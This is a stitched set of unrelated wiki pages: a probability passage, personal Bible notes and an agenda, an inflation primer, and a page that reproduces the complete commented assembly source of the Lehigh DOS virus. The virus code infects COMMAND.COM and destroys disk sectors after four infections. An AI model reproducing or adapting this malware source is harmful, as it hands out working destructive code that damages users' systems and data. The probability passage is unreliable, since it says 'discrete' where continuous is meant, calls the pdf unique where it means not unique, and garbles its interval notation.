Suppose $$X$$ is a discrete random variable. Partitioning $$S$$ into small disjoint intervals $$[x_1,x_1+\Delta x_1],\dotsc$$ gives $$\mathbb P(X\in S)=\mathbb P\left(X\in\bigcup_i[x_i+\Delta x_i]\right)=\sum_i\mathbb P\big(X\in[x_i+x_i+\Delta x_i]\big) =\sum_i\underbrace{\frac{\mathbb P\big(X\in[x_i+x_i+\Delta x_i]\big)}{\Delta x_i}}_{\text{probability per unit}}\cdot\Delta x_i .$$ In particular, the probability per unit can be interpreted as the density of the probability of $$X$$ over the interval. (The higher the density, the more probability is distributed (or allocated) to that interval).

Taking limit, $$\lim_{\Delta x_i\to 0}\sum_i\underbrace{\frac{\mathbb P\big(X\in[x_i+x_i+\Delta x_i]\big)}{\Delta x_i}}_{\text{density}}\cdot\Delta x_i=\int_S \underbrace{f(x)}_{\text{density}}\,dx, $$ in which, intuitively and non-rigorously, $$f(x)\,dx$$ can be interpreted as the probability over 'infinitesimal' interval $$[x,x+dx]$$, i.e. $$\mathbb P(X\in[x,dx])$$, and $$f(x)$$ can be interpreted as the density of the probability over the 'infinitesimal' interval, i.e. $$\frac{\mathbb P(X\in[x,dx])}{dx}$$.

These motivate us to have the following definition.

The name r.v. comes from the result that the cdf of this kind of r.v. is continuous.

Without further assumption, pdf is unique, i.e. a random variable may have multiple pdf's, since, e.g., we may set the value of pdf to be a real number at a single point outside its support (without affecting the probabilities, since the value of pdf at a single point is zero regardless of the value), and this makes another valid pdf for a random variable. To tackle this, we conventionally set $$f(x)=0$$ for each $$x\notin\operatorname{supp}(X)$$ to make the pdf become unique, and make the calculation more convenient.

Mixed random variables
You may think that a random variable can either be discrete or continuous after reading the previous two sections. Actually, this is wrong. A random variable can be neither discrete nor continuous. An example of such random variable is random variable, which is discussed in this section.

An example of singular random variable is the Cantor distribution function (sometimes known as Devil's Staircase), which is illustrated by the following graph. The graph pattern keeps repeating when you enlarge the graph.

title: Probability/Random Variables


text:
User:Benlee/Notes/Bible

''Note: At the moment, this is just a list of Bible quotes I will use to tie in ideas from the Bahá'í Writings. All quotes come from the Authorized (King James) Version, © 1978''

The Bahá'í view of Christ

Luke

 * 9:23 And he [Christ] said to them all, If any man will come after me, let him deny himself, and take up his cross daily, and follow me. 9:24 For whosoever will save his life shall lose it: but whosoever will lose his life for my sake, the same shall save it. 9:25 For what is a man advantaged, if he gain the whole world, and lose himself, or be cast away?

title: User:Benlee/Notes/Bible


text:
User:Benlee/Notes/Agenda

2:40

 * Read & notate Ch of HG&D

3:15

 * rewrite Invisible Man essay 1
 * print research paper
 * Read & notate Ch of A&P

4:45

 * clean boardgames out of closet
 * go through closet/chest
 * organize junk on the floor
 * go through books

5:45

 * supper
 * read & notate another ch of HG&D
 * figure out what ch's of A&P were on the 2nd test
 * write about Everything That Rises Must Converge

7:30

 * movie starts

title: User:Benlee/Notes/Agenda


text:
Macroeconomics/Money and Inflation

What is inflation?

Inflation can be defined as the increase in the overall level of prices. Whilst the price of individual goods or services may vary due to changes in supply and demand, production costs or technological progress, inflation refers to the increase in the price level as a whole or for a selection of goods and services (commonly referred to in economics as a basket of goods). The result of inflation is that the nominal amount of goods and services that a unit of currency can purchase (its purchasing power) declines over time.

Of course, there is, in theory, nothing which make inflation an inherent feature of our economies. In historical times there have been prolonged periods of deflation (where the overall level of prices falls) as well as hyperinflation and disinflation.

Examples 1) ..... The average price of a specific "basket" of goods and services today is 100. If one year later the average price of a "basket" containing the SAME goods and services will cost you 300, then the currency of your country is worth only 1/3 as much as a year ago as a result of inflation. As a result of inflation all the prices of the SAME goods and services have increased.

..... Inflation is stated as a percentage. Assume, for example, that inflation is steady, every year the same, at 2% per year. Then an item that costs now 100 would cost after 1 year 102, then in future years: 104.04 106.12 108.24 110.41 112.62 114.87 117.17 119.51 121.90 and so on.

2) ..... Labor or labour unions always want more and more money to "make ends meet", and so do most other people. The price of goods and services must cover all costs, including all involved salaries and wages. If the currency is worth less as a result of inflation, then all costs go up, and therefore all prices go up. But because prices go up, everybody wants a raise in wages/salary. Therefore the costs go up again, the prices go up some more, and so on and so on. THAT is the unfortunate result of the inflation "spiral".

title: Macroeconomics/Money and Inflation


text:
Self-Replicating Automata/List/Lehigh

Introduction
The Lehigh virus, a COMMAND.COM infector, appeared around 1987.

Source Code
page	65,132 title	The 'Lehigh' Virus

CODE	SEGMENT BYTE PUBLIC 'CODE' ASSUME CS:CODE,DS:CODE

; Interrupt 21H routine

BP0010:	PUSH	AX PUSH	BX CMP	AH,4BH			; Load function? JE	BP0020			; Branch if yes CMP	AH,4EH			; Find file file? JE	BP0020			; Branch if yes JMP	BP0170			; Pass interrupt on

; Load or find file function

BP0020:	MOV	BX,DX			; Get pathname pointer CMP	BYTE PTR [BX+1],':'	; Is a disk specified? JNE	BP0030			; Branch if not MOV	AL,[BX]			; Get disk letter JMP	BP0040

; Is there a COMMAND.COM on disk?

BP0030:	MOV	AH,19H			; Get current disk function INT	44H			; DOS service (diverted INT 21H) ADD	AL,'a'			; Convert to letter BP0040:	PUSH	DS PUSH	CX PUSH	DX PUSH	DI PUSH	CS			; \ Set DS to CS	POP	DS			; / MOV	BX,OFFSET PATHNM	; Address pathname MOV	[BX],AL			; Store disk letter in pathname MOV	DX,BX			; Move pathname address MOV	AX,3D02H		; Open handle (R/W) function INT	44H			; DOS service (diverted INT 21H) JNB	BP0050			; Branch if no error JMP	BP0160			; Restore registers and terminate

; Is COMMAND.COM infected?

BP0050:	MOV	BX,AX			; Move file handle MOV	AX,4202H		; Move file pointer function (EOF) XOR	CX,CX			; \ No offset MOV	DX,CX			; / INT	44H			; DOS service (diverted INT 21H) MOV	DX,AX			; Copy file length MOV	FILELN,AX		; Save file length SUB	DX,2			; Address last word of file MOV	AX,4200H		; Move file pointer function (start) INT	44H			; DOS service (diverted INT 21H) MOV	DX,OFFSET BUFFER	; Address read buffer MOV	CX,2			; Length to read MOV	AH,3FH			; Read handle function INT	44H			; DOS service (diverted INT 21H) CMP	WORD PTR BUFFER,65A9H	; Is file infected? JNE	BP0060			; Branch if not JMP	BP0080

; Infect COMMAND.COM

BP0060:	XOR	DX,DX			; \ No offset MOV	CX,DX			; / MOV	AX,4200H		; Move file pointer function (start) INT	44H			; DOS service (diverted INT 21H) MOV	CX,3			; Length to read MOV	DX,OFFSET BUFFER	; Address read buffer MOV	DI,DX			; Copy address MOV	AH,3FH			; Read handle function INT	44H			; DOS service (diverted INT 21H) MOV	AX,[DI+1]		; Get displacement from initial jump ADD	AX,0103H		; Convert to address for COM file MOV	ENTPTR,AX		; Save file entry address MOV	DX,FILELN		; Get file length SUB	DX,OFFSET ENDADR	; Subtract length of virus DEC	DX			; ...and one more MOV	[DI],DX			; Put offset into jump instruction XOR	CX,CX			; Clear high offset for move MOV	AX,4200H		; Move file pointer function (start) INT	44H			; DOS service (diverted INT 21H) MOV	AL,INFCNT		; Get infection count PUSH	AX			; Preserve infection count MOV	BYTE PTR INFCNT,0	; Set infection count to zero MOV	CX,OFFSET ENDADR	; \ Get length of virus INC	CX			; / XOR	DX,DX			; Address start of virus MOV	AH,40H			; Write handle function INT	44H			; DOS service (diverted INT 21H) POP	AX			; Recover infection count MOV	INFCNT,AL		; Restore original infection count XOR	CX,CX			; \ Address second byte of program MOV	DX,1			; / MOV	AX,4200H		; Move file pointer function (start) INT	44H			; DOS service (diverted INT 21H) MOV	AX,[DI]			; Get virus offset ADD	AX,OFFSET BP0180	; Add entry point SUB	AX,3			; Subtract length of jump instruction MOV	[DI],AX			; Replace offset MOV	DX,DI			; Address stored offset MOV	CX,2			; Length to write MOV	AH,40H			; Write handle function INT	44H			; DOS service (diverted INT 21H) INC	BYTE PTR INFCNT		; Increment infection count CMP	BYTE PTR INFCNT,4	; Have we reached target? JB	BP0070			; Branch if not JMP	BP0110			; Trash disk

; Is disk A or B?

BP0070:	MOV	BYTE PTR N_AORB,0	; Set off "not A or B" switch CMP	BYTE PTR CURDSK,2	; Is current disk A or B?	JB	BP0080			; Branch if yes MOV	BYTE PTR N_AORB,1	; Set on "not A or B" switch BP0080:	MOV	AH,3EH			; Close handle function INT	44H			; DOS service (diverted INT 21H) CMP	BYTE PTR N_AORB,1	; Is "not A or B" switch on? JE	BP0090			; Branch if yes JMP	BP0160			; Restore registers and terminate

; Disk not A or B

BP0090:	MOV	BYTE PTR N_AORB,0	; Set off "not A or B" switch MOV	BX,OFFSET PATHNM	; Address pathname MOV	AL,CURDSK		; Get current disk ADD	AL,'a'			; Convert to letter MOV	[BX],AL			; Store letter in pathname MOV	DX,BX			; Move pathname address MOV	AX,3D02H		; Open handle (R/W) function INT	44H			; DOS service (diverted INT 21H) JNB	BP0100			; Branch if no error JMP	BP0160			; Restore registers and terminate

; Set infection count same as in current program

BP0100:	MOV	BX,AX MOV	AX,4202H		; Move file pointer function (EOF) XOR	CX,CX			; \ No offset MOV	DX,CX			; / INT	44H			; DOS service (diverted INT 21H) MOV	DX,AX			; \ Address back to infection count SUB	DX,7			; / MOV	AX,4200H		; Move file pointer function (start) INT	44H			; DOS service (diverted INT 21H) MOV	CX,1			; Length to write MOV	DX,OFFSET INFCNT	; Address infection count MOV	AH,40H			; Write handle function INT	44H			; DOS service (diverted INT 21H) MOV	AH,3EH			; Close handle function INT	44H			; DOS service (diverted INT 21H) JMP	BP0160			; Restore registers and terminate

; Trash disk

BP0110:	MOV	AL,CURDSK		; Get current disk CMP	AL,2			; Is disk A or B?	JNB	BP0150			; Branch if not MOV	AH,19H			; Get current disk function INT	44H			; DOS service (diverted INT 21H) MOV	BX,OFFSET PATHNM	; Address pathname MOV	DL,[BX]			; Get drive letter from pathname CMP	DL,'A'			; Is drive letter 'A'? JE	BP0120			; Branch if yes CMP	DL,'a'			; Is drive letter 'a'? JE	BP0120			; Branch if yes CMP	DL,'b'			; Is drive letter 'b'? JE	BP0130			; Branch if yes CMP	DL,'B'			; Is drive letter 'B'? JE	BP0130			; Branch if yes JMP	BP0160			; Restore registers and terminate

; Drive A

BP0120:	MOV	DL,0			; Set drive A	JMP	BP0140

; Drive B

BP0130:	MOV	DL,1			; Set drive B BP0140:	CMP	AL,DL			; Is this the same as current? JNE	BP0150			; Branch if not JMP	BP0160			; Restore registers and terminate

; Write lump of BIOS to floppy disk

BP0150:	MOV	SI,0FE00H		; \ Address BIOS (?) MOV	DS,SI			; / MOV	CX,0020H		; Write 32 sectors MOV	DX,1			; Start at sector one INT	26H			; Absolute disk write POPF MOV	AH,9			; Display string function MOV	DX,1840H INT	44H			; DOS service (diverted INT 21H) BP0160:	POP	DI POP	DX POP	CX POP	DS BP0170:	POP	BX POP	AX JMP	CS:INT_21		; Branch to original Int 21H

; Original Int 21H vector

INT_21	EQU	THIS DWORD DW	138DH			; Int 21H offset DW	0295H			; Int 21H segment

; Entry point for infected program

BP0180:	CALL	BP0190			; \ Get current address BP0190:	POP	SI			; / SUB	SI,3			; Address back to BP0180 MOV	BX,SI			; \ Address of virus start SUB	BX,OFFSET BP0180	; / PUSH	BX			; Save address of virus start ADD	BX,OFFSET FILELN	; Address file length MOV	AH,19H			; Get current disk function INT	21H			; DOS service MOV	[BX-1],AL		; Save current disk MOV	AX,[BX]			; Get file length ADD	AX,0100H		; Add PSP length MOV	CL,4			; \ Convert to paragraphs SHR	AX,CL			; / INC	AX			; Allow for remainder MOV	BX,AX			; Copy paragraphs to keep MOV	AH,4AH			; Set block function INT	21H			; DOS service JNB	BP0200			; Branch if no error JMP	BP0220			; Pass control to host

; Allocate memory for virus

BP0200:	MOV	CL,4			; Bits to move MOV	DX,OFFSET ENDADR	; Length of virus SHR	DX,CL			; Convert to paragraphs INC	DX			; Allow for remainder MOV	BX,DX			; Copy paragraphs for virus MOV	AH,48H			; Allocate memory function INT	21H			; DOS service JNB	BP0210			; Branch if no error JMP	BP0220			; Pass control to host

; Install virus in memory

BP0210:	PUSH	ES PUSH	AX			; Preserve allocated memory segment MOV	AX,3521H		; Get Int 21H function INT	21H			; DOS service MOV	[SI-4],BX		; Save Int 21H offset MOV	[SI-2],ES		; Save Int 21H segment POP	ES			; Recover allocated memory segment PUSH	SI SUB	SI,OFFSET BP0180	; Address back to start of virus XOR	DI,DI			; Target start of new area MOV	CX,OFFSET ENDADR	; \ Length of virus INC	CX			; / REPZ	MOVSB			; Copy virus to new area POP	SI PUSH	DS MOV	DX,[SI-4]		; Get Int 21H offset MOV	AX,[SI-2]		; \ Set DS to Int 21H segment MOV	DS,AX			; / MOV	AX,2544H		; Set Int 44H function INT	21H			; DOS service PUSH	ES			; \ Set DS to ES	POP	DS			; / XOR	DX,DX			; Interrupt 21H routine (BP0010) MOV	AX,2521H		; Set Int 21H function INT	44H			; DOS service (diverted INT 21H) POP	DS POP	ES BP0220:	POP	BX PUSH	ENTPTR[BX]		; Push COM file entry address RET				; ...and return to it

PATHNM	DB	'b:\command.com', 0	; Pathname BUFFER	DB	7FH, 58H, 0BH, 0, 0	; Read buffer ENTPTR	DW	0CB0H			; File entry address N_AORB	DB	0			; "Not A or B" switch INFCNT	DB	0			; Infection count DB	0 CURDSK	DB	0			; Current disk FILELN	DW	5AAAH			; File length DW	65A9H			; Infection indicator

ENDADR	EQU	$-1

CODE	ENDS

END

title: Self-Replicating Automata/List/Lehigh